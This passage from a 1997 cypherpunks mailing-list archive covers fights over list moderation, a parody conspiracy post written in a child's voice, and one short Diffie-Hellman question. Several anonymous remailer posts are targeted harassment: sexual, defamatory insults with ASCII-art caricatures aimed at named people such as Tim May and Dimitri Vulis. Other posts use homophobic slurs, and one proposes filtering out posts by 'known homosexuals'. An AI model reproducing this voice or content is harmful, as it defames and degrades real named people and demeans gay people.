would know that your were stealing the list for yourself. It was
really rotten to call pewople flamers just cause they complained.

> Be responsible for setting your society's privacy policy -- without
> knowing whether you are right.

Thats what those GAK guys are for and all those secret govbernment
guys that want there not to be a cypherpunks anymore.


> Shall I post you an Emancipation Proclamation -- as if you needed one?

No you already done too much.

> The experiment will be over in a few weeks.  Who's going to take over
> deciding how to run the list, and running it?

I will. Im just a kid but I cant do any worse than already.
 
> the immortal words of Lazarus Long, "PIPE DOWN!".

Im a kid so I get told to shut up all the time but I dont.

> PS: Can we talk about crypto too? 

What do you mean _we_ white man? (thats a joke)
You havent talked about nothing on the list except how your not a
bad guy for pushing people areound into the lists where you want
them whether they like it or not.

You stole my uncles subsribing to the cypherpunks list and made him
a censored person. He had to break out to go to the uncensored list.
I think your a lamer.

Human Gus-Peter






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Tue, 4 Feb 1997 23:28:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Geiger and long, unreadable lines
Message-ID: <199702050728.XAA18196@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back <aba@dcs.ex.ac.uk> writes:

>
> Dimitri Vulis <dlv@bwalk.dm.com> writes on cpunks-flames:
> > Adam Back <aba@dcs.ex.ac.uk> writes on cpunks-flames:
> > >
> > > Mr William H. Geiger III "Author of E-Secure" writes on cpunks:
> > > > <sigh> for the benifit of those misfortunate enough to be still working
> > > > dumb terminals I have disabled my PGP script until I have time to add a
> > > > word wrap routine to it.
> > >
> > > <sigh> it is you who were demonstrating your ineptitude by spewing
> > > 120+ line length postings.  Why is it so difficult for you to keep
> > > under 80 chars?  Would you like some technical assistance?  Notice how
> > > near every one else apart from yourself is managing to keep under 80
> > > chars?
> >
> > Notice how near every one else apart from yourself bends over for the NSA,
> > and is willing to use a 40-bit key "escrowed" with the feds?  Why is it so
> > difficult for you to keep under 40 bits? Would you like some technical
> > assistance? Why are you setting yourself apart from the Internet community
> > that so happily embraces GAK? Why do you desire "privacy" for your traffic
> > when everyone else does not? What have you got to hide? Are you looking to
> > transmit child pornography, bomb-making instructions, and/or cannabis
> > legalization propaganda? We better have a look at your hard disk soon.
>
> btw Dimitri, a crypto question:
>
> Diffie-Hellman key generation, there are two main ways of generating
> the diffie-hellman prime modulus, method 1:
>
> 	p = 2q+1
>
> where q is a prime also.
>
> And method 2:
>
> 	p = r.2q+1
>
> where q is a prime and r is a randomly generated number.
>
> With method 1, the security parameter is the size of p in bits (or
> size of q, as they are related).
>
> With method 2, there are two security parameters, size of q and size
> of p in bits.
>
> Method 2 has the advantage that key generation is faster as it is
> quicker to generate new random numbers r, than to repeatedly generate
> trial prime q as you have to do in method 1.  However is the security
> weaker in method 2?  What size of p and q do you have to use to get
> the same security as for same size of p in bits as in method 1?  What
> should be the relationship between the size of p and q?
>
> (this isn't cpunks, this is cpunks-flames, so your non-crypto pledge
> shouldn't hold, besides Sandy has a stated policy of killing the whole
> thread, so I thought it amusing to continue your crypto relevance in
> moving on to technical topics rather than political)

My advice is to stay clear of any cryptosystem that relies on factoring
being hard. I'll send you pointers to some very interesting new work
based on the zeta function in private e-mail when I dig it up (please
remind me if/when I forget this promise). I'm reluctant to say anything
crypto-relevant on this defunct mailing list because last time I did,
the moderator repeatedly cited it as evidence that his moderation works.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Tue, 4 Feb 1997 23:26:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation [Tim,Sandy]
Message-ID: <199702050726.XAA18111@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:
> > What Vulis and the rest (whom I killfiled long ago) have done is polluted a
> > common resource, making it unusable for the rest. It's the tragedy of the
> > commons. When all can speak without limit in a public forum, the drunken
> > boor can shout everyone else down.
>
> The drunk can be excluded, but when someone wants to use the drunk as
> an example to escalate the exclusion to other persons who are not in
> fact drunk, watch out!

If I get really really drunk, which happens very seldom, then I'm
too drunk to post. I don't mind an occasional beer, though.

Oksas, have you ever tried beer? :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Igor Chudov @ home" <ichudov@algebra.com>
Date: Tue, 4 Feb 1997 23:40:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: hoho
Message-ID: <199702050740.XAA18512@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


haha





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Larry Johnson <lwjohnson@grill.sk.ca>
Date: Tue, 4 Feb 1997 23:40:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: A Vote of Silence for Human Gus-Peter
Message-ID: <199702050740.XAA18537@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I want to be the new modernator so anyone who wants me to be it can
not send any messages, ok?
So any people who dont send messages are voting for me, ok?

(If I am modernator I will give everyone free pizza and Schotch.)

Ok. Now evceryone vote, ok?

Human Gus-Peter






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@zifi.genetics.utah.edu>
Date: Wed, 5 Feb 1997 07:25:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Newt's phone calls
Message-ID: <199702051525.HAA28689@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimwit L)amentation( Vehement K)retin(OTM enjoys sucking the
puss from his syphilitic homosexual friends.

        /\_./o__ Dr.Dimwit L)amentation( Vehement K)retin(OTM
       (/^/(_^^'
      ._.(_.)_







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Wed, 5 Feb 1997 07:26:10 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702051526.HAA28769@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 4 Feb 1997, Dave Hayes wrote:

> Steve Boursey writes:
> >   Well EFF itself is a lie--the were very well exposed by Wired Mag. a
> > while back as being nothing more than a corporate whore.  They represent
> > the interests of owners not consumers--the ACLU has been very open
> > in their critisism of the EFF in this regard.  A large corporation
> > waves some money in front of their noses and tells them to bend
> > over you can be sure they'll bend over.  
> 

Actually, the EFF is meaningless, and not worth discussing.
It was just a bunch of hippy faggots that got financed by the
greatfull dead, and since the greatfull dead died, the EFF should
just also die.  I mean come ON, with queers at the organization,
NOBODY is going to give it any credibility.

> It's not clear from where I sit that the EFF is intrinsically evil.  A

But it has John Gilmore there, and he is the evil censor.

> case can be argued for their initial good intentions followed by the
> subsequent poisoning of this intent by people with lots of money. Of
> course, -any- organization is as susceptable to infiltration as their
> weakest member.
> 
> > Respectable free speech advocates do not associate with EFF.
> 
> If one is going to advocate free speech, I strongly suggest one
> learns to deal with one's own greed and one's own need for power
> first. 

Greed and avarice may be bad, but wealth and control are good.
The power must always go to those who do not "need" it but who know
how to use it.  Not everybody is qualified to carry a gun.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@zifi.genetics.utah.edu>
Date: Wed, 5 Feb 1997 07:25:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [ADMINISTRIVIUM] Extradition treaties
Message-ID: <199702051525.HAA28690@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Drunkard Vilest K>rap<OTM wears satin lingerie embroidered with
pink swastikas, prancing around for his faggot, AIDS infected
lovers.

   |\     \ \ \ \ \ \ \      __
   |  \    \ \ \ \ \ \ \   | O~-_ Drunkard Vilest K>rap<OTM
   |   >----|-|-|-|-|-|-|--|  __/
   |  /    / / / / / / /   |__\
   |/     / / / / / / /







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Wed, 5 Feb 1997 09:27:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Information Warfare
Message-ID: <199702051727.JAA01496@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


"tmcghan@mail.bcpl.lib.md.us" <tmcghan@mail.bcpl.lib.md.us> writes:

> in a message allegedly from:  Peter Hendrickson <pdh@best.com>
> 
> > The cypherpunks list has been under "attack" for some time.
> {snip}
> > Some people have dismissed the idea that rogue governmental elements
> > are behind some of our problems.
> {snip}
> > We know that "Information Warfare" is the big thing in the defense
> > establishment right now.
> 
> Information Warfare Conference
> sponsored by DPMA/AITP
> 
> Washington, DC, March 13-14, 1997
> Crystal City Marriott
> 1999 Jefferson Davis Highway
> Arlington, VA  22202
> 
> Presentations by:
> Major General Michael V. Hayden, Commander, Air Intelligence Agency
> Dr. C. Kenneth Allard, Competitive Strategies
> Col. H. Stevens, Land Information Warfare Activity
> 
> - current service visions and planned program initiatives
> - operational concepts for 'third-wave' warfare
> - information warfare drivers for 21st century C4I architectures
> - emerging technologies and systems for information warfare 
> superiority: opportunities on the horizon
> 
> 'information warfare targets and vulnerabilities', Maxim I. Kovel,
>  TASC systems management group
> 
> 'information warfare for deterrence', William H.J. Manthorpe, Jr.
> Applied Physics Laboratory, Johns Hopkins
> 
> 'adaptive techniques for counter-deception', James Llinas,
> technical advisor, DOD JDL, Data Fusion group
> 
> 'emerging threats come in all sizes and flavors', Eugene Schultz, SRI
> consulting
> 
> "Information has been termed the 'fifth dimension' in the conduct of 
> 'third-wave' warfare, and promises to dramatically enhance the role 
> of C4I as a force multiplier.  Joint and individual service doctrine 
> is emerging for IW, ans is affecting the needs and requirements for 
> diverse systems:  from space-based surveillance and communications 
> systems to terrestrial image processing, visualization, and 
> information fusion systems."
> 
> "This conference will provide a valuable forum where military and 
> industry staff can interact with key decision-makers to achieve the 
> most current possible understanding of Information Warfare concepts, 
> initiatives, technologies and potential opportunities.  The Critical 
> Questions to be addressed include:
> 
> - how is IW changing operational concepts?
> - how can we defend the weak links in the planned 
> information-intensive reconnaissance, strike, targeting architecture?
> - what developments in enabling technologies are needed to support 
> current Information Operations, Battlefield Visualization, and 
> Information Exploitation initiatives?
> -what can be done to develop defensive information technology 
> capabilities?
> 
>             and last, but _c_e_r_t_a_i_n_l_y_ not least:
> 
> - how will we move forward to develop a true offensive IW capability
> 
> ==============================================
> 

Many of my f2f meetings with the people on and around this mailing lists were
at the InfoWarCon's. It's no secret that my research interests include IW (with
PsyOps and DOS). And what was Gilmore (spit, fart) doing there?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Wed, 5 Feb 1997 09:23:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation [Tim,Sandy]
Message-ID: <199702051723.JAA01404@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:

> Dr.Dimitri Vulis KOTM wrote:
> > Dale Thorn <dthorn@gte.net> writes:
> 
> > > The drunk can be excluded, but when someone wants to use the drunk as
> > > an example to escalate the exclusion to other persons who are not in
> > > fact drunk, watch out!
> 
> > If I get really really drunk, which happens very seldom, then I'm
> > too drunk to post. I don't mind an occasional beer, though.
> 
> > Oksas, have you ever tried beer? :-)
> 
> I had my first beer(s) in three years at one of those industrial
> parties last night.  It made the craps table action seem a bit
> merrier, and the girls were friendlier too.
> 

I like an occasional Coors Lite.  BTW I think Limey Faggots are right about
one think: I like room-temperature beer better than cold beer. YMMV.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Wed, 5 Feb 1997 09:23:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: A Vote of Silence for Human Gus-Peter
Message-ID: <199702051723.JAA01392@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Larry Johnson <lwjohnson@grill.sk.ca> writes:

> I want to be the new modernator so anyone who wants me to be it can
> not send any messages, ok?
> So any people who dont send messages are voting for me, ok?
> 
> (If I am modernator I will give everyone free pizza and Schotch.)
> 
> Ok. Now evceryone vote, ok?
> 
> Human Gus-Peter
> 
> 

I volunteer to moderate cypherpunks@toad.com.

I'll use a 'bot (like Sandy uses a 'bot) to junk submissions from Gilmore,
Sandfart, and other known homosexuals, and pass on everything else.

It'll probably have better S/N that Sandy's censored list does now.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Wed, 5 Feb 1997 09:25:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Getting into MIT is impossible
Message-ID: <199702051725.JAA01476@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


jim bell <jimbell@pacifier.com> writes:

> Erland van Lidth de Jeude is a MIT grad.  He played the big badass in "Stir 
> Crazy."  Computer science major, BTW.
> 
> 
> 
> 
> At 07:37 PM 2/3/97 -0800, Clint Barnett wrote:
> >wasn't Dolph Lundgren an MIT grad? I seem to remember something about him 
> >having a degree in Chemical Engineering  or something along those lines. 
> >
> >clint barnett
> >lord of the cosmos
> >emily carr institute
> >
> >On Wed, 29 Jan 1997, Anonymous wrote:
> >
> >> 
> >> 
> >> According to Rick Osborne:
> >> 
> >> "I disagree and can speak from experience.  I was denied admission to MIT
> >> even thought I had a 3.82 GPA, 1440 SAT (one try), and had taken 9 AP test
> >> with two 5's, four 4's, two 3's, and one 2.  As for being well-rounded, I
> >> was on several academic teams, sang in Chorus, acted and stage managed in
> >> Drama, and played Tennis."
> >> 
> >> People get into MIT--or don't get into MIT--for lots of reasons. Most
> >> intelligent people apply to several schools, knowing that admissions
> >> practices are subject to the vagaries of reality.
> >> 
> >> In my case, my SATs were about 1500, with some 800s in achievement tests.
> >> And the usual bullshit high school clubs, political offices, etc. etc. I
> >> was accepted by MIT, but not by Caltech. I didn't lose any sleep over the
> >> way things turned out.
> >> 
> >> And I decided not to go to MIT, either.
> >> 
> >> "The only thing I didn't have that the next MIT applicant had was money.  
> >> made the mistake of letting them know that I was dirt poor and would need
> >> full aid/grants/etc, and to quote "The Great Escape" it was "Zzzt! To the
> >> Russian front!""
> >> 
> >> My guess is that "other factors" were involved. 
> >> 
> >> I noted with some interest, but little surprise, that the guy claiming MIT
> >> required a 4.0 GPA and a 1600 combined SAT score could barely spell, and
> >> had major problems making a coherent point. Methinks this is why MIT
> >> rejected him, not his lack of a "1600."
> >> 
> >> ">For what it's worth, I wanted to go to MIT my sophomore year in high
> >> >school, too
> >> 
> >> "Lucky you.  It had been a dream of mine since I was an annoying
> >> overachiever of 6.  Sux to be white trash, I guess."
> >> 
> >> MIT offered me a substantial economic aid package, in the form of loans,
> >> grants, and various campus jobs. What does this tell you?
> >> 
> >> "MIT may be a great school, but they tend to be snooty assholes for the mo
> >> part.  (DISCLAIMER: Not all MIT grads/attendees are necessarily "snooty
> >> assholes", I'm just saying that I've yet to meet one that wasn't.)
> >> 
> >> I've known about a dozen or so MIT grads, and only one of them was a snoot
> >> asshole, and it was a _she_, one of the first MIT women grads (and she was
> >> _very_ impressed by this). 
> >> 
> >> Most MIT grads are perfectly reasonable.
> >> 
> >> Xanthar
> >> 
> >> 
> >> 
> >> 
> >> --
> >> 
> >
> >
> >
> Jim Bell
> jimbell@pacifier.com
> 

This thread has no crypto-relevance, but Sandy the Asshole forwards it to the
censored list.  He also sends crypto-relevant threads to the flames list.
This will be the first post in this thread that Sandy the Asshole will junk.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Larry Johnson <lwjohnson@grill.sk.ca>
Date: Wed, 5 Feb 1997 12:04:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: I'm Just A Kid (But If I Was A Secret Goverhnment Guy...)
Message-ID: <199702052004.MAA03758@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I would:>

Make regular government guys pass all kinds of laws and stuff to keep
regular people from having what they need to be talking to each other 
in secret where I couldnt listen. (Cause Im the Secret Guy--not them!)

Sic lawyers and persecutors on a guy if he made some secret-keeping
stuff that worked and let everyone have it if they wanted it.

Make my own secret software stuff using guys who want to make a lot
of money and will do what I want if I make it so they will.
Make businesses lose money unless they used my own secret software
stuff cause they couldnt sell it everywhere unless they did what
I said.

Make a secret guy coup on troublemakers and take over their stuff
so I could use it just for other secret guys and business guys
to tell everyone to use just my own secret-keeping software stuff.

I would make a secret guy coup on a mailing list if it was causing
trouble for me. I wouldnt do it until I had my own secret stuff 
ready to give to everyone though. And I would have my other secret
guys already on the list waiting for me to tell them what to do.
I would cause a lot of trouble on the list and use it to get rid of
the troublemaker guys and make everyone think that I am a good guy
saving them from bad guys wearing black hats and shooting at them
with penis-pictures.
I would let another guy be a dumb guy and do all the bad things
for me on the list so everyone would be mad at him and not at me.

I would let my secret smart guys on the list tell everyone that
the dumb guy wasnt doing dumb and bad things. I would make them
say things that sound real smart but dont really mean anything
except in the direction they are pointing their fingers to make
people look.

I would have my secret guys all saying underneath the conscious
stuff together so that everyone would start believing things that
I want them to believe.

{My uncle just got back from his trip so he is going to help me
with the rest (just the spelling and stuff though) and then he is
going to kill me for making his secret machine call him a _lamer_
when he boots it up}

<::>I want everyone to believe<::>

:>I had to save the list cause it was sick.
My secret guys talk about "the PATHOLOGY of the list"

:>Dictatorship will save them from the chaos of anarchy.
My secret guys talk about the "TRAGEDY of the COMMONS"

:>It is not me but other guys who are trying to steal the list.
My secret guys say "PRIVATE ACTORS..EXTRACT..REPUTATION CAPITAL."

:>Its ok to throw doo-doo on the only original list guy who wont
:>kiss secret guy/big business ass by connecting him in peoples
:>heads with the guy everyone knows is a bad guy (because he uses
:>bad words.
My secret guys say "DMITRI VULIS' BEHAVIOR...SEEKS TO PUNISH THE
LIST for failing to PUNISH or OSTRACIZE TIM MAY..TIM MAY WAS
DISRESPECTFUL" <--"PRIVATE GAIN (PUBLIC RETRIBUTION)"-->OSTRACIZE
TIM MAY...TIM MAY WAS DISRESPECTFUL...PUNISH TIM MAY(PUBLIC 
RETRIBUTION)..."ATTEMPT TO ACHIEVE PRIVATE GAIN...AT THE EXPENSE 
OF...QUALITY AND GOOD NAME OF THE LIST"...OSTRACIZE TIM MAY...DIMITRI
VULIS' BEHAVIOR...TIM MAY IS DISRESPECTFUL...DIMITRI VULIS..TIM MAY

:>Only a few riff-raff are misrepresenting Dictatorship.
My secret guys say "Several..." (the few that escaped the censors
jackboot) "AUTHORS..." (people who only make stuff up in writing) 
"CHARACTERIZED JOHN GILMORE AND SANDY SANDFORT's..." ('made up' the
bad character of) "with RESPECT to MODERATION"...RESPECT MODERATION
...RESPECT MODERATION...RESPECT MODERATION

:>I am not a Dictator who is stealing the list.
My secret guys use nice polite words to describe what people 
really called dictatorship and stealing. 
"MONOPOLIZE" instead of DICTATORSHIP 
"APPROPRIATE" instead of STEAL.

:>Freedom and gain should be associated with private ownership.
My secret guys would put words in the mouths of "FREE-market"
guys (standing by an American flag with their hands over their
hearts singing the national anthem) and make them say that the
"SOLUTION TO "TRAGEDY...IS PRIVATE OWNERSHIP...MAXIMIZE LONG-TERM
GAIN...CAREFUL MANAGEMENT"

:>If there is no list Fuhrer to say how things will always be done
then the email won't run on time.
My secret guys say "WASTEFUL...HARMFUL SHORT-TERM STRATEGIES..."
are what everyone is going to get without a having a Dictator
and "PRIVATE OWNERSHIP...ELIMINATE...WASTEFUL...NONOPTIMAL USE OF
RESOURCES" and "WORK towards...PRIVATE OWNERSHIP"..."ANARCHIC 
COMMUNITY AT ODDS WITH...GOOD USE OF RESOURCES"...WORK-->PRIVATE
OWNERSHIP...ANARCHIC-->WASTEFUL...PRIVATE OWNERSHIP-->SOLUTION TO
TRAGEDY...ANARCHIC-->HARMFUL<->TIM MAY<->DIMITRI VULIS<->HARMFUL
ANARCHIC...PRIVATE OWNERSHIP-->HISTORICAL...OSCTRACIZE TIM MAY
TIM WAS DISRESPECTFUL...ANARCHIC HARMFUL...OSTRACIZE TIM MAY
WORK=PRIVATE OWNERSHIP...WORK=PRIVATE OWNERSHIP
ANARCHIC HARMFUL...OSTRACIZE TIM MAY...ANARCHIC...DISRESPECTFUL
DIMITRI VULIS=TIM MAY...DIMITRI VULIS=TIM MAY=DIMITRI VULIS
OSTRACIZE TIM VULIS...


If I was a secret government guy I would make a cypherpunks home
page and fix it so that anyone who used the "legendary and massive
directory of global Internet resources" (a fancy name for a bunch
of Yahoos) to search for cypherpunks would only find my home page 
and the home pages of two crazy guys.
My home page wouldnt have any links to other peoples cypherpunks
mail list stuff but only the one my secret guys were taking over.
I would hope nobody would notice that almost everyone in the world 
who searches for the cypherpunks would only find the mailing list 
that is censored by my guy and my autobot.
I would hope that nobody would notice that the guy saying hes 
checking to see if secret government guys are messing with the
cypherpunks is one of my guys.


Of course Im just a kid and not a secret government guy so I cant
do all this stuff. Good thing for you guys, huh?
(But you guys should watch out for messages that start with saying,
"You are getting sleepy...you are getting very very sleepy...)

Anyway my uncle is kicking me off of cypherpunks so he can clean up
my mess in my dads email before he gets home. And then hes going
to kill me (but only after I help him find the silver key on the
second level of Duke Nukem3D--hes a gamer-lamer).

You guys might think Im a lamer myself but I got my Sandy flame on
the censored list (on my very first message) using kindegarten 
cryptography and you didnt so maybe you could learn something
from a kid, huh?
My uncle says he doesnt think kids (or anybody else) should have
what they say thrown in the flames-crapper just because someone
doesnt like what they say.
He used to go behind the Iron Curtain so people could hear what
other people didnt want them to hear and now he goes behind the
ElectroMagnetic Curtain instead and he says he wont let any 
lamers shut me up just because their ashamed of what their doing
and dont want anyone to know about it.
He helped me with some of this but only to not sound like a 
real lamer (just a bit of a lamer) but not with what I think
about the cypherpunks. I learned how to read with the Froggie
manual and cypherpunks messages and government stuff and stuff
by my dead uncle who is dead because of what he wrote about
the guys who started the internet in the first place. (Their not
good guys.)

I like you guys. 
Dont bend over for the lamers.
Dont start to cry.
Just keep on being flamers.
   Bitch and shout.
   Dont worry about the schisms.
   And dont let the Fascists take
   Your algorithms.
Lamers come and go
So dont worry bout their junk
Anarchists have <Delete> keys
They're Immortal CypherPunks.

I have to go get killed now.

Human Gus-Peter
grandson of gomez






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Wed, 5 Feb 1997 11:40:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702051940.LAA03436@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


May Timmy May's forgeries get stuck up his ass so he'll have to shit 
through his filthy mouth for the rest of its miserable life.

       |||||||||||
        \~0/ \0~/
        <  (0)  >
   --oOO--/|||\--OOo- Timmy May






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mixmaster <mixmaster@remail.obscura.com>
Date: Wed, 5 Feb 1997 17:38:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: Hash functions
Message-ID: <199702060138.RAA08850@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C[reep] Maya is the living proof that 
anal sex causes pregnancy.

 
  ()
   \--o
  .-\__.
 (      \_
  '-.-'






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mixmaster <mixmaster@remail.obscura.com>
Date: Wed, 5 Feb 1997 17:38:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Mondex
Message-ID: <199702060138.RAA08857@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C. Maypole's aberrant sexual life has negatively 
impacted his mental integrity.

     \|/
     @ @
-oOO-(_)-OOo- Timmy C. Maypole






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Wed, 5 Feb 1997 17:39:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Getting into MIT is impossible
Message-ID: <199702060139.RAA08875@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Sandy the asshole continues to forward crypto-irrelevant fluff to the censored
list as long as it's posted by his boyfriends:

"P.J. Westerhof" <p.j.wester@NGI.NL> writes:

> At 18:12 4-02-97 -0800, you wrote:
> >Erland van Lidth de Jeude is a MIT grad.  He played the big badass in "Stir 
> >Crazy."  Computer science major, BTW.
> >
> He is quite a singer too (at least he was some years ago on Dutch TV).
> Perhaps that made the difference.  ;-)
> 
> Gr.
> Peter
> 
> 
> _________________________________________________________
> 
>    P.J. Westerhof  LL.D                      
>    e-mail           P.J.WESTER@NGI.NL     |        Computerlaw
>    voice            +31-347-375400                |        Legal informatics
>    fax/data        +31-347-375400                |        IT - consultancy
>    Web:            www.ngi.nl/cr/                   |        Soaring
> _________________________________________________________
> 
> 


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 6 Feb 1997 06:56:01 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Moderation [Tim,Sandy]
Message-ID: <199702061456.GAA24463@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> Dale Thorn <dthorn@gte.net> writes:

> > > > The drunk can be excluded, but when someone wants to use the drunk as
> > > > an example to escalate the exclusion to other persons who are not in
> > > > fact drunk, watch out!

> > > If I get really really drunk, which happens very seldom, then I'm
> > > too drunk to post. I don't mind an occasional beer, though.

> > > Oksas, have you ever tried beer? :-)

> > I had my first beer(s) in three years at one of those industrial
> > parties last night.  It made the craps table action seem a bit
> > merrier, and the girls were friendlier too.

> I like an occasional Coors Lite.  BTW I think Limey Faggots are right about
> one think: I like room-temperature beer better than cold beer. YMMV.

Interesting coincidence for people on opposite coasts - the bar at
the hotel had two choices:  Bud regular and Coors light.  I took the
Coors.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Wed, 5 Feb 1997 17:40:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: [CRYPTO] PGP
Message-ID: <199702060140.RAB08926@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C[reep] May has been beaten up 
numerous times by fellow prostitutes for 
driving blow job prices down.

         (((>     /<
        (        /
         ((({{{{{:<
                 \
                  \<






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: WinSock Remailer <winsock@rigel.cyberpass.net>
Date: Thu, 6 Feb 1997 06:55:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: [NOISE] Sphere packing
Message-ID: <199702061455.GAA24423@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Dimwit Virus K[rust]OfTheMonth styles his facial hair to look
more like pubic hair.

   (___)
   (o o)_____/
    @@ `     \ Dimwit Virus K[rust]OfTheMonth
     \ ____, /
     //    //
    ^^    ^^







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: WinSock Remailer <winsock@rigel.cyberpass.net>
Date: Thu, 6 Feb 1997 06:55:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: [PGP] Cats out of bags
Message-ID: <199702061455.GAA24426@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Dr.Destitute Violent K[arcinogen]OTM is so in love with himself,
he cries out his own name when orgasming. Then again, no one
else is ever around.

    /\        /\
   +  \______/  +
      / .  . \
     <   /    >  Dr.Destitute Violent K[arcinogen]OTM
      \ \--/ /
       ------







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Thu, 6 Feb 1997 07:11:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "alt.cypherpunks" people?
Message-ID: <199702061511.HAA24915@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


"Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com> writes:

> Anil Das <das@sgi.com> writes:
>
> > Dr.Dimitri Vulis KOTM wrote:
> > >
> > > Learn to use an anonymous remailer.
> >
> > Thanks for the hint, Dr. Vulis. I have registered for a course, but
> > seats are available only in fall.
>
> Toilet seats in the state of free fall?
>
> The stego on Sandy's moderated list blows my mind...

And Sandy blows Sameer, and Greg blows John...

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Thu, 6 Feb 1997 07:11:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation [Tim,Sandy]
Message-ID: <199702061511.HAA24936@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:

